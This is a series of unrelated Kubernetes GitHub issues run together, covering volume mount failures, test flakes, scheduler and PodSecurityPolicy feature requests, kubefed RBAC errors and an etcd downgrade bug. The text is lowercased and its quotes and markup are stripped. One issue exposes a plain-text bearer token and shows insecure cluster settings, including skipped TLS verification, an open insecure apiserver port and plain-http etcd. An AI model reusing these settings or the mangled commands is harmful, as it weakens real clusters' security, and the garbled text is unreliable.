19:18:20.407375       6 trace.go:61  trace \ create /api/v1/namespaces/default/events\   started 2017-07-04 19:18:19.494648783 +0000 utc :\r 2017-07-04t19:18:20.417715776z  29.5µs   29.5µs  about to convert to expected version\r 2017-07-04t19:18:20.417720776z  49.2µs   19.7µs  conversion done\r 2017-07-04t19:18:20.417723876z  64.201µs   15.001µs  about to store object in database\r 2017-07-04t19:18:20.417726876z  912.645279ms   912.581078ms  object stored in database\r 2017-07-04t19:18:20.417729876z  912.649779ms   4.5µs  self-link added\r 2017-07-04t19:18:20.417732876z \ create /api/v1/namespaces/default/events\   912.69988ms   50.101µs  end\r    \r \r first reference of volume in  kubelet log  around that time:\r    \r jul 04 19:18:20 xx-worker2 kubelet-wrapper 963 : i0704 19:18:20.754566     963 reconciler.go:242  verifycontrollerattachedvolume operation started for volume \ kubernetes.io/azure-disk/kubernetes-dynamic-pvc-ffaefb79-5d9d-11e7-b1f8-000d3a26155d.vhd\   spec.name: \ pvc-ffaefb79-5d9d-11e7-b1f8-000d3a26155d\   pod \ 8a27763d-60ed-11e7-b1f8-000d3a26155d\   uid: \ 8a27763d-60ed-11e7-b1f8-000d3a26155d\  \r jul 04 19:18:20 xx-worker2 kubelet-wrapper 963 : i0704 19:18:20.754594     963 reconciler.go:242  verifycontrollerattachedvolume operation started for volume \ kubernetes.io/configmap/8a27763d-60ed-11e7-b1f8-000d3a26155d-config-volume\   spec.name: \ config-volume\   pod \ 8a27763d-60ed-11e7-b1f8-000d3a26155d\   uid: \ 8a27763d-60ed-11e7-b1f8-000d3a26155d\  \r jul 04 19:18:20 xx-worker2 kubelet-wrapper 963 : e0704 19:18:20.754706     963 nestedpendingoperations.go:262  operation for \ \\\ kubernetes.io/azure-disk/kubernetes-dynamic-pvc-ffaefb79-5d9d-11e7-b1f8-000d3a26155d.vhd\\\ \  failed. no retries permitted until 2017-07-04 19:18:21.254679241 +0000 utc  durationbeforeretry 500ms . error: volume \ kubernetes.io/azure-disk/kubernetes-dynamic-pvc-ffaefb79-5d9d-11e7-b1f8-000d3a26155d.vhd\   spec.name: \ pvc-ffaefb79-5d9d-11e7-b1f8-000d3a26155d\   pod \ 8a27763d-60ed-11e7-b1f8-000d3a26155d\   uid: \ 8a27763d-60ed-11e7-b1f8-000d3a26155d\   has not yet been added to the list of volumesinuse in the node's volume status\r ...\r jul 04 19:18:36 xx-worker2 kubelet-wrapper 963 : i0704 19:18:36.404860     963 operation_generator.go:492  entering mountvolume.waitforattach for volume \ kubernetes.io/azure-disk/kubernetes-dynamic-pvc-ffaefb79-5d9d-11e7-b1f8-000d3a26155d.vhd\   spec.name: \ pvc-ffaefb79-5d9d-11e7-b1f8-000d3a26155d\   pod \ 8a27763d-60ed-11e7-b1f8-000d3a26155d\   uid: \ 8a27763d-60ed-11e7-b1f8-000d3a26155d\   devicepath: \ 1\ \r jul 04 19:18:37 xx-worker2 kubelet-wrapper 963 : i0704 19:18:37.768129     963 operation_generator.go:512  mountvolume.waitforattach succeeded for volume \ kubernetes.io/azure-disk/kubernetes-dynamic-pvc-ffaefb79-5d9d-11e7-b1f8-000d3a26155d.vhd\   spec.name: \ pvc-ffaefb79-5d9d-11e7-b1f8-000d3a26155d\   pod \ 8a27763d-60ed-11e7-b1f8-000d3a26155d\   uid: \ 8a27763d-60ed-11e7-b1f8-000d3a26155d\  .\r jul 04 19:18:37 xx-worker2 kubelet-wrapper 963 : e0704 19:18:37.777580     963 mount_linux.go:122  mount failed: exit status 1\r jul 04 19:18:37 xx-worker2 kubelet-wrapper 963 : mounting command: mount\r jul 04 19:18:37 xx-worker2 kubelet-wrapper 963 : mounting arguments:  /var/lib/kubelet/plugins/kubernetes.io/azure-disk/mounts/kubernetes-dynamic-pvc-ffaefb79-5d9d-11e7-b1f8-000d3a26155d.vhd ext4  defaults \r jul 04 19:18:37 xx-worker2 kubelet-wrapper 963 : output: mount: can't find /var/lib/kubelet/plugins/kubernetes.io/azure-disk/mounts/kubernetes-dynamic-pvc-ffaefb79-5d9d-11e7-b1f8-000d3a26155d.vhd in /etc/fstab\r jul 04 19:18:37 xx-worker2 kubelet-wrapper 963 : e0704 19:18:37.781845     963 mount_linux.go:408  could not determine if disk \ \  is formatted  exit status 1 \r jul 04 19:18:37 xx-worker2 kubelet-wrapper 963 : e0704 19:18:37.782447     963 nestedpendingoperations.go:262  operation for \ \\\ kubernetes.io/azure-disk/kubernetes-dynamic-pvc-ffaefb79-5d9d-11e7-b1f8-000d3a26155d.vhd\\\ \  failed. no retries permitted until 2017-07-04 19:18:38.282387684 +0000 utc  durationbeforeretry 500ms . error: mountvolume.mountdevice failed for volume \ kubernetes.io/azure-disk/kubernetes-dynamic-pvc-ffaefb79-5d9d-11e7-b1f8-000d3a26155d.vhd\   spec.name: \ pvc-ffaefb79-5d9d-11e7-b1f8-000d3a26155d\   pod \ 8a27763d-60ed-11e7-b1f8-000d3a26155d\   uid: \ 8a27763d-60ed-11e7-b1f8-000d3a26155d\   with: exit status 1\r    \r \r \r \r   how to reproduce it  as minimally and precisely as possible   :\r so far this is unclear to me, i'll update this if i find out more. the cluster was deployed on azure from https://github.com/discordianfish/tectonic-installer/tree/tp-ng  which is basically upstream + pr 999 to include azure cloud intergration. unfortunately i don't have \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.6.6\r - cloud provider or hardware configuration  : azure\r - os  e.g. from /etc/os-release : containerlinux 14409.5.0\r - kernel  e.g.  uname -a  : 4.11.6-coreos-r1\r - install tools: tectonic-installer\r

these flakes appear to account for ~20% gce-etcd3 test flakes, and ~15% of gce test flakes overall.\r \r example failures:\r  589 failures \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/49942/pull-kubernetes-e2e-gce-etcd3/44618 k8sio-networking-k8sio-granular-checks-pods-should-function-for-intra-pod-communication-udp-conformance\r \r  318 failures \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/49501/pull-kubernetes-e2e-gce-bazel/6423 k8sio-networking-k8sio-granular-checks-pods-should-function-for-node-pod-communication-http-conformance\r \r  85 failures \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/49763/pull-kubernetes-e2e-gce-bazel/6294 k8sio-networking-k8sio-granular-checks-pods-should-function-for-intra-pod-communication-http-conformance\r

what’s the mean? from istio 1.0 sample, init:blocked , i install in stand-alone vm, centos 7.5\r \r ! image  https://user-images.githubusercontent.com/1914373/43701279-28e93098-9988-11e8-85bf-78fc4c2454c4.png \r

as of kubernetes 1.11,  pod  preemption  https://kubernetes.io/docs/concepts/configuration/pod-priority-preemption/  is a beta feature. in the existing version, any pod could possibly preempt other pods if it has higher  the preemption victims and the cluster does not have enough capacity to run it.\r we would like to add a new feature that allows certain priorityclasses to be defined as non-preempting priority. when a pod has non-preempting priority, it won't cause preemption when the cluster does not have capacity to run it, but it is still ordered by its  the scheduling queue. so, it has a higher chance of getting scheduled than other pending pods with lower priority.\r \r one common use-case for such non-preempting priorities is batch processing. typical batch jobs run to completion  as opposed to services that keep running . in batch processing, if preemption happens, all the work done by the preemption victim will be lost. as a result, it is often not desired to preempt the existing workload, but  still needed to ensure that when new workloads are created those with higher  in front the queue and are scheduled ahead of other lower  when the cluster has more free resources, for example, after currently running workloads are finished.\r \r   implementation:  \r we can add a new field, called  non-preempting  to  priorityclass  https://github.com/kubernetes/kubernetes/blob/7749eeaf3f1eddd0796a4d61e545a90e7d9d59b0/staging/src/k8s.io/api/scheduling/v1beta1/types.go l29 . when a pod is unschedulable, the scheduler checks this field of its corresponding priorityclass and starts the preemption process when the field is empty or false. several points to be considered:\r 1. all priorityclasses are considered  preempting  by default. if the filed is missing, the priorityclass is a preempting one.\r 2.  a priorityclass may be deleted after pod creation. if scheduler cannot find the priorityclass of a pod, it assumes that it has  preempting  priority.\r 3. a pod may not have any priorityclass. in that case, its  resolved to a defined or implicit default priority. when a pod  is empty, its  considered as  preempting .\r \r to summarize the above rules: \ a pod has  preempting  priority, unless its priorityclass is found and the  non-preempting  field of the priorityclass is set to true\ .\r \r   is this a bug report or feature request?  :\r  \r /ref  64843\r 

is this a bug report or feature request?  :\r \r   @kubernetes/sig-auth-feature-requests\r \r   what happened  :\r we now have \ allowedhostpath\  as an option for podsecuritypolicy，which is whitelist of hostpaths that pod can use. but under some scenarios when pod is  restricted to use only one or some specified paths，then a black list of hostpath may be much more useful. \r for example, if we want to forbid pod to use the hostpath \ /root\  and its subpath, we need to add all paths but \ /root\  in allowedhostpath, which is extremly inefficient, resulting poor user experience.\r   what you expected to happen  :\r add an option for podsecuritypolicy, such as \ disallowedhostpath\ , including a blacklist of hostpaths that pod can not use.\r

/kubemark/run-e2e-tests.sh\r \r kubemark master name: kubernetes-kubemark-master\r project: microservice-e2e-benchmark\r network project: microservice-e2e-benchmark\r zone: us-central1-b\r trying to find master named 'kubernetes-kubemark-master'\r looking for address 'kubernetes-kubemark-master-ip'\r using master: kubernetes-kubemark-master  external ip: 35.202.65.239 \r   ./test/kubemark/run-e2e-tests.sh: line 50:   : i < --ginkgo.focus= feature:performance : syntax error: invalid arithmetic operator  error token is \ .focus= feature:performance \    \r setting up for kubernetes_provider=\ kubemark\ .\r \r

what happened  : setting up a kubernetes cluster using kubeadm  using this guide: https://kubernetes.io/docs/setup/independent/create-cluster-kubeadm/  , the master constantly polls itself  observable via a -v=4 log from the kube-apiserver pod . this load seems to average 10-11 tps against the api server and subsequently etcd. this places a lot of uneccessary stress on the cpu and io subsystems. see  api-server.log  https://github.com/kubernetes/kubernetes/files/2994288/api-server.log  for a log of the observed behaviour.\r \r   what you expected to happen  :\r for kubernetes to not burn lots of system resources on pointless busy work. my goal as a user is to run my workloads, not just to run kubernetes : \r \r   how to reproduce it  as minimally and precisely as possible   :\r install a small cluster by following this guide: https://kubernetes.io/docs/setup/independent/create-cluster-kubeadm/\r overview of steps to set up master:\r \r 1. sudo apt update\r 2. sudo apt install apt-transport-https\r 3. curl -s https://packages.cloud.google.com/apt/doc/apt-key.gpg | sudo apt-key add -\r 4. echo \ deb http://apt.kubernetes.io/ kubernetes-xenial main\  | sudo tee /etc/apt/sources.list.d/kubernetes.list\r 5. sudo apt update\r 6. sudo apt install kubeadm kubelet kubectl\r 7. sudo kubeadm init --token-ttl=0\r 8. kubectl apply -f \ https://cloud.weave.works/k8s/net?k8s-version=$ kubectl version | base64 | tr -d '\ ' \ \r 9. join some workers by following steps 1-6 and then running the join command output from step 7 on them.\r \r let the cluster fully initialise  takes a minute or two for all the cni stuff to initialise .\r \r observe the master has high cpu usage despite doing very little.\r \r if you set the api-server log verbosity to 4  edit /etc/kubernetes/manifests/kube-apiserver.yaml and add - --v=4 to the arguments list , you will see logs that look a lot like these:  api-server.log  https://github.com/kubernetes/kubernetes/files/2994288/api-server.log \r \r   environment  :\r - kubernetes version  use  kubectl version  : \r client version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.4\ , gitcommit:\ c27b913fddd1a6c480c229191a087698aa92f0b1\ , gittreestate:\ clean\ , builddate:\ 2019-02-28t13:37:52z\ , goversion:\ go1.11.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r server version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.4\ , gitcommit:\ c27b913fddd1a6c480c229191a087698aa92f0b1\ , gittreestate:\ clean\ , builddate:\ 2019-02-28t13:30:26z\ , goversion:\ go1.11.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration: on prem  at home . 3 virtual machines  1 master, 2 workers  and 3 raspberry pis  all workers .\r \r - os  e.g:  cat /etc/os-release  :  ubuntu 18.04.2 lts  bionic beaver \r \r - kernel  e.g.  uname -a  : linux kube-master-1 4.15.0-46-generic  49-ubuntu smp wed feb 6 09:33:07 utc 2019 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools: apt/dpkg, kubeadm

pr  14054 which registers master kubelet with the kube-apiserver, but mark such kubelet as unschedulable through nodespec. such kubelet should operate the same as other kubelets, except rejecting any allocated pods from kube-apiserver.  cc/ @roberthbailey @mikedanese @bgrant0607 @davidopp

forked from  635.  types.go is currently monolithic. it's getting bigger and bigger. also, we want an easy way to plug in new apis.  openshift organizes its api per resource type. for example: https://github.com/openshift/origin/blob/master/pkg/deploy/api/v1beta1/types.go https://github.com/openshift/origin/blob/master/pkg/template/api/v1beta1/types.go  this way the api and registry code for an entity can be located together: https://github.com/openshift/origin/tree/master/pkg/deploy  /cc @smarterclayton @lavalamp @thockin

i'm trying kubernetes for the first time. i want to run it in my host with vagrant and i prefer libvirt much more than virtualbox. so i have the following env vars:      bash     export vagrant_default_provider=libvirt     export kubernetes_provider=vagrant      when i run the  cluster/kube-up.sh  script i get the following:      bash     ==> master: created symlink from /etc/systemd/system/docker.service.requires/flanneld.service to   /usr/lib/systemd/system/flanneld.service.     ==> master: network configuration verified     ==> master: /etc/yum.repos.d /home/vagrant     ==> master: /tmp/vagrant-shell: line 332: wget: command not found     the ssh command responded with a non-zero exit status. vagrant     assumes that this means the command failed. the output for this command     should be in the log above. please read the output to determine what     went wrong.      i assume the image used with the libvirt provider:       https://dl.fedoraproject.org/pub/fedora/linux/releases/23/cloud/x86_64/images/fedora-cloud-base-vagrant-23-20151030.x86_64.vagrant-libvirt.box      does not have the  wget  binary.

we need this in cluster autoscaler to check whether we actually can delete a node before we start doing so.

currently no weights are used and the result may be very unbalanced. for example, if weight is 1 for all clusters and rebalance = false and we have 10 replicas in a and 70 in b and replica count is reduced to 20 the end result may be b=20  depending on hashing - see  31814 , while a=10 b=10 would be more preferred.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r kubernetes-1.6.0-beta.1\r \r   environment  :\r -   cloud provider or hardware configuration  :hardware configuration\r -   os    e.g. from /etc/os-release : ubuntu 14.04.1 lts\r -   kernel    e.g.  uname -a  : 4.2.0-27-generic\r -   install tools  : kubefed init\r -   others  :\r \r \r   what happened  :\r     i use kubefed init to init federation in kubernetes-1.6.0-beta.1.\r kubefed init k8s-federation --host-cluster-context=cluster-cloud92  \\\r --api-server-service-type='nodeport'  --api-server-advertise-address='172.31.8.29' \\\r --dns-provider='coredns'  --dns-provider-config='/var/run/kubernetes/federation-codedns-config.conf'  --dns-zone-name='cluster-cloud92.com' \\\r --etcd-persistent-storage=false --kubeconfig='/var/run/kubernetes/kubeconfig'\r \r     it show this error:\r   error from server  forbidden : roles.rbac.authorization.k8s.io \ federation-system:federation-controller-manager\  is forbidden: attempt to grant extra privileges:    { get      secrets       } { list      secrets       } { watch      secrets       }  user=&{admin admin  system:authenticated  map  } ownerrules= { create   authorization.k8s.io   selfsubjectaccessreviews       } { get            /api /api/  /apis /apis/  /healthz /swaggerapi\r \r     it created federation-apiserver successful, but failed create  federation-controller-manager.\r kubectl get pod --namespace=federation-system \r name ready status restarts age\r k8s-federation-apiserver-2603477136-7srv0 2/2 running 0 1m\r  \r kubectl get secret --namespace=federation-system \r name type data age\r default-token-vwmcj kubernetes.io/service-account-token 2 2m\r federation-controller-manager-token-vgsg8 kubernetes.io/service-account-token 2 2m\r k8s-federation-apiserver-credentials opaque 3 2m\r k8s-federation-controller-manager-kubeconfig opaque 1 2m\r \r     here is my k8s cluster configuration:\r   cat /var/run/kubernetes/kubeconfig  \r apiversion: v1\r kind: config\r clusters:\r - cluster:\r insecure-skip-tls-verify: true\r server: https://172.31.8.29:443\r name: cluster-cloud92\r contexts:\r - context:\r cluster: cluster-cloud92 \r user: cluster-cloud92 \r name: cluster-cloud92\r current-context: cluster-cloud92\r users:\r - name: cluster-cloud92\r user:\r token: tsjgxdgkhde8iwewu2fwc7a64clc7mr8\r \r   docker@bjkjy-ite-cloud92:~$ kubectl config view  \r apiversion: v1\r clusters:\r - cluster:\r insecure-skip-tls-verify: true\r server: https://172.31.8.29:443\r name: cluster-cloud92\r contexts:\r - context:\r cluster: cluster-cloud92\r user: cluster-cloud92\r name: cluster-cloud92\r current-context: cluster-cloud92\r kind: config\r preferences: {}\r users:\r - name: cluster-cloud92\r user:\r token: tsjgxdgkhde8iwewu2fwc7a64clc7mr8\r \r   cat /var/run/kubernetes/federation-codedns-config.conf  \r  global \r etcd-endpoints=http://172.31.8.29:2379\r zones=cluster-cloud92.com\r \r \r     i have enabled serviceaccount in kube-apiserver and specify --service_account_private_key_file in kibe-controller-manager.\r i didn't use ca, just use token for kube-apiserver.--secure-port=443 --token-auth-file=/etc/kubernetes/token_auth_file.\r \r \r   ps -ef | grep kube  \r  /hyperkube federation-apiserver --admission-control=namespacelifecycle --advertise-address=172.31.8.29 --bind-address=0.0.0.0 --client-ca-file=/etc/federation/apiserver/ca.crt --etcd-servers=http://localhost:2379 --secure-port=443 --tls-cert-file=/etc/federation/apiserver/server.crt --tls-private-key-file=/etc/federation/apiserver/server.key\r \r \r /opt/bin/kube-apiserver --insecure-bind-address=0.0.0.0 --insecure-port=8080   --secure-port=443 --token-auth-file=/etc/kubernetes/token_auth_file   --etcd-servers=http://172.31.8.29:2379 --logtostderr=true --service-cluster-ip-range=172.31.96.0/22 --admission-control=namespacelifecycle,limitranger,resourcequota,denyescalatingexec,securitycontextdeny,  serviceaccount   --service-node-port-range=30000-32767 --v=4\r \r /opt/bin/kube-controller-manager --master=127.0.0.1:8080   --service_account_private_key_file=/var/run/kubernetes/apiserver.key   --leader-elect=true --pod-eviction-timeout=1m0s --logtostderr=true --v=2\r \r  /opt/bin/kube-scheduler --master=127.0.0.1:8080 --leader-elect=true --logtostderr=true --v=2\r \r /opt/bin/kubelet --address=0.0.0.0 --port=10250 --pod-infra-container-image=registry-dev.baiwei.baidu.com/google_containers/pause:latest --api-servers=http://172.31.8.29:8080 --logtostderr=true --cluster-dns=172.31.96.100 --cluster-domain=cluster-cloud92.com --hostname-override=bjkjy-ite-cloud92.bjkjy --resolv-conf=\r \r  /opt/bin/kube-proxy --master=http://172.31.8.29:8080 --logtostderr=true\r \r   kubectl get serviceaccount  \r name      secrets   age\r default   1         3d\r \r     question:\r how to track and fix this issue？\r how to config the host cluster for init federation about authorization? \r do i must use ca for host cluster?\r \r \r   what you expected to happen  :\r \r \r   how to reproduce it    as minimally and precisely as possible :\r \r \r   anything else we need to know  :\r \r

this is with k8s 1.6.0-beta.4\r \r i upgraded from etcd -> etcd3 and then back again from etcd3 -> etcd2.  i did this by manually editing the target_storage & target_version from etcd2/2.2.1 -> etcd3/3.0.17 and back again.\r \r i also changed kube-apiserver --storage-backend to etcd3 and then back to etcd2 as i went.\r \r however, kube-apiserver was then unable to perform some operations, such as  kubectl get nodes  or  kubectl get pods -n kube-system \r \r  kubectl get namespaces  _did_ work  3 namespaces  &  kubectl get pods -n default  _did_ work  no results - it was a new cluster .\r \r example errors as logged in /etc/kubernetes/kube-apiserver.log:\r \r    \r e0320 05:14:25.836138       5 status.go:62  apiserver received an error that is not an metav1.status: unexpected eof\r i0320 05:14:25.836369       5 wrap.go:75  get /api/v1/namespaces/kube-system/endpoints/kube-scheduler:  860.182µs  500\r goroutine 2362  running :\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/httplog.  resplogger .recordstatus 0xc42367e0e0, 0x1f4 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/httplog/log.go:219 +0xbb\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/httplog.  resplogger .writeheader 0xc42367e0e0, 0x1f4 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/httplog/log.go:198 +0x35\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/metrics.  responsewriterdelegator .writeheader 0xc4237f10e0, 0x1f4 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/metrics/metrics.go:129 +0x45\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/responsewriters.writeobjectnegotiated 0x54f99c0, 0xc420989c80, 0x0, 0x0, 0x32538e0, 0x2, 0x54f28c0, 0xc4215d61f0, 0xc42177bd10, 0x1f4, ... \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/responsewriters/writers.go:89 +0x162\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/responsewriters.errornegotiated 0x54cb700, 0xc420010100, 0x54f99c0, 0xc420989c80, 0x0, 0x0, 0x32538e0, 0x2, 0x54f28c0, 0xc4215d61f0, ... \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/responsewriters/writers.go:106 +0x103\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers.  requestscope .err 0xc420add540, 0x54cb700, 0xc420010100, 0x54f28c0, 0xc4215d61f0, 0xc42177bd10 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/rest.go:100 +0xd7\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers.getresourcehandler.func1 0xc4237f1050, 0xc42334c8a0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/rest.go:125 +0x20d\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/metrics.instrumentroutefunc.func1 0xc4237f1050, 0xc42334c8a0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/metrics/metrics.go:102 +0x1f8\r k8s.io/kubernetes/vendor/github.com/emicklei/go-restful.  container .dispatch 0xc4206c66c0, 0x54f2940, 0xc42367e0e0, 0xc42177bd10 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/emicklei/go-restful/container.go:272 +0xba0\r k8s.io/kubernetes/vendor/github.com/emicklei/go-restful.  container . k8s.io/kubernetes/vendor/github.com/emicklei/go-restful.dispatch -fm 0x54f2940, 0xc42367e0e0, 0xc42177bd10 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/emicklei/go-restful/container.go:120 +0x48\r net/http.handlerfunc.servehttp 0xc4202609a0, 0x54f2940, 0xc42367e0e0, 0xc42177bd10 \r \t/usr/local/go/src/net/http/server.go:1726 +0x44\r net/http.  servemux .servehttp 0xc420856480, 0x54f2940, 0xc42367e0e0, 0xc42177bd10 \r \t/usr/local/go/src/net/http/server.go:2022 +0x7f\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.withpanicrecovery.func1 0x54f2940, 0xc42367e0e0, 0xc42177bd10 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/wrap.go:74 +0x24a\r net/http.handlerfunc.servehttp 0xc4208575c0, 0x7f4090864a70, 0xc4215d61b8, 0xc42177bd10 \r \t/usr/local/go/src/net/http/server.go:1726 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.  timeouthandler .servehttp.func1 0xc420842e00, 0x54fb0c0, 0xc4215d61b8, 0xc42177bd10, 0xc42334c780 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/timeout.go:91 +0x8d\r created by k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.  timeouthandler .servehttp\r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/timeout.go:93 +0x1d1\r \r logging error output: \ k8s\\x00\ \\f\ \\x02v1\\x12\\x06status\\x12$\ \\x04\ \\x00\\x12\\x00\\x12\\afailure\\x1a\\x0eunexpected eof\\\ \\x000\\xf4\\x03\\x1a\\x00\\\ \\x00\ \r    kube-scheduler/v1.6.0  linux/amd64  kubernetes/b202120/leader-election  127.0.0.1:49220 \r e0320 05:14:26.243732       5 status.go:62  apiserver received an error that is not an metav1.status: unexpected eof\r i0320 05:14:26.244061       5 wrap.go:75  get /api/v1/nodes:  1.675903ms  500\r goroutine 2365  running :\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/httplog.  resplogger .recordstatus 0xc42367e850, 0x1f4 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/httplog/log.go:219 +0xbb\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/httplog.  resplogger .writeheader 0xc42367e850, 0x1f4 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/httplog/log.go:198 +0x35\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/metrics.  responsewriterdelegator .writeheader 0xc4237f1a40, 0x1f4 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/metrics/metrics.go:129 +0x45\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/responsewriters.writeobjectnegotiated 0x54f99c0, 0xc420989c80, 0x0, 0x0, 0x32538e0, 0x2, 0x54f28c0, 0xc4215d6250, 0xc42334ad20, 0x1f4, ... \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/responsewriters/writers.go:89 +0x162\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/responsewriters.errornegotiated 0x54cb700, 0xc420010100, 0x54f99c0, 0xc420989c80, 0x0, 0x0, 0x32538e0, 0x2, 0x54f28c0, 0xc4215d6250, ... \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/responsewriters/writers.go:106 +0x103\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers.  requestscope .err 0xc420b85b80, 0x54cb700, 0xc420010100, 0x54f28c0, 0xc4215d6250, 0xc42334ad20 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/rest.go:100 +0xd7\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers.listresource.func1 0xc4237f19b0, 0xc42334d0e0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/rest.go:336 +0x810\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/metrics.instrumentroutefunc.func1 0xc4237f19b0, 0xc42334d0e0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/metrics/metrics.go:102 +0x1f8\r k8s.io/kubernetes/vendor/github.com/emicklei/go-restful.  container .dispatch 0xc4206c66c0, 0x54f2940, 0xc42367e850, 0xc42334ad20 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/emicklei/go-restful/container.go:272 +0xba0\r k8s.io/kubernetes/vendor/github.com/emicklei/go-restful.  container . k8s.io/kubernetes/vendor/github.com/emicklei/go-restful.dispatch -fm 0x54f2940, 0xc42367e850, 0xc42334ad20 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/emicklei/go-restful/container.go:120 +0x48\r net/http.handlerfunc.servehttp 0xc4202609a0, 0x54f2940, 0xc42367e850, 0xc42334ad20 \r \t/usr/local/go/src/net/http/server.go:1726 +0x44\r net/http.  servemux .servehttp 0xc420856480, 0x54f2940, 0xc42367e850, 0xc42334ad20 \r \t/usr/local/go/src/net/http/server.go:2022 +0x7f\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters.withauthorization.func1 0x54f2940, 0xc42367e850, 0xc42334ad20 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters/authorization.go:50 +0x365\r net/http.handlerfunc.servehttp 0xc4207fed80, 0x54f2940, 0xc42367e850, 0xc42334ad20 \r \t/usr/local/go/src/net/http/server.go:1726 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters.withimpersonation.func1 0x54f2940, 0xc42367e850, 0xc42334ad20 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters/impersonation.go:47 